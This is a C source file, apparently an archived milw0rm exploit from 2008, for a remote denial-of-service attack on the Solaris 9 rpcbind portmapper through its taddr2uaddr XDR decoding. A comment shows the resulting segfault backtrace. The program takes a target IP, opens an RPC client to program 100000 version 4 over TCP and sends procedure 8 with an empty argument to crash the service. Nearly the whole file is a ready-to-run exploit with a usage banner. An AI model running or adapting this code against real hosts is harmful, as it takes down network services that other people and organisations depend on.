91 lines
No EOL
2.3 KiB
C
91 lines
No EOL
2.3 KiB
C
/*
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////////////////////////////////////////////////////////////
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// Solaris 9 PortBind XDR-DECODE taddr2uaddr() Remote DoS
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////////////////////////////////////////////////////////////
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//
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// Federico L. Bossi Bonin
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// fbossi[at]globalST[dot]com[dot]ar
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/////////////////////////////////////////////////////
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Program received signal SIGSEGV, Segmentation fault.
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0xff29b5f4 in __inet_taddr2uaddr () from /usr/lib/libnsl.so.1
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(gdb) backtrace
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#0 0xff29b5f4 in __inet_taddr2uaddr () from /usr/lib/libnsl.so.1
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#1 0x00013d88 in rpcbproc_taddr2uaddr_com ()
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#2 0x000161c0 in rpcb_service_4 ()
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(gdb)
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*/
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#include <string.h>
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#include <rpc/rpc.h>
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struct xdr {
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long long_arg;
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char *string_arg;
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};
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typedef struct xdr xdr;
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static struct timeval TIMEOUT = { 25, 0 };
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bool_t xdr_xdr (XDR *xdrs, xdr *objp) {
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register int32_t *buf;
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if (!xdr_long (xdrs, &objp->long_arg))
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return FALSE;
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if (!xdr_string (xdrs, &objp->string_arg, 4096))
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return FALSE;
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return TRUE;
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}
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char ** str_4(xdr *argp, CLIENT *clnt) {
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static char *clnt_res;
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memset((char *)&clnt_res, 0, sizeof(clnt_res));
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if (clnt_call (clnt, 8,
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(xdrproc_t) xdr_xdr, (caddr_t) argp,
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(xdrproc_t) xdr_wrapstring, (caddr_t) &clnt_res,
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TIMEOUT) != RPC_SUCCESS) {
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return (NULL);
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}
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return (&clnt_res);
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}
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main(int argc, char *argv[]) {
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CLIENT *c1;
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char *server;
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char **sresult;
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if (argc !=2){
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printf("=============================================================\n");
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printf("Solaris 9 PortBind XDR-DECODE taddr2uaddr() Remote DoS\n");
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printf("-------------------------------------------------------------\n");
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printf("Federico L. Bossi Bonin <fbossi@globalST.com.ar>\n");
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printf("=============================================================\n\n");
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printf("usage: %s <IP>\n",argv[0]);
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exit(1);
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}
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server = argv[1];
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if ((c1 = clnt_create(server,100000, 4, "tcp")) == NULL){
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clnt_pcreateerror(server);
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exit(1);
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}
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xdr xdrmessage;
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xdrmessage.long_arg = 0;
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xdrmessage.string_arg="";
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if ((sresult = str_4(&xdrmessage, c1)) == NULL){
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clnt_perror(c1, server);
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exit(1);
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}
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clnt_destroy(c1);
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exit(0);
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}
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// milw0rm.com [2008-10-17]
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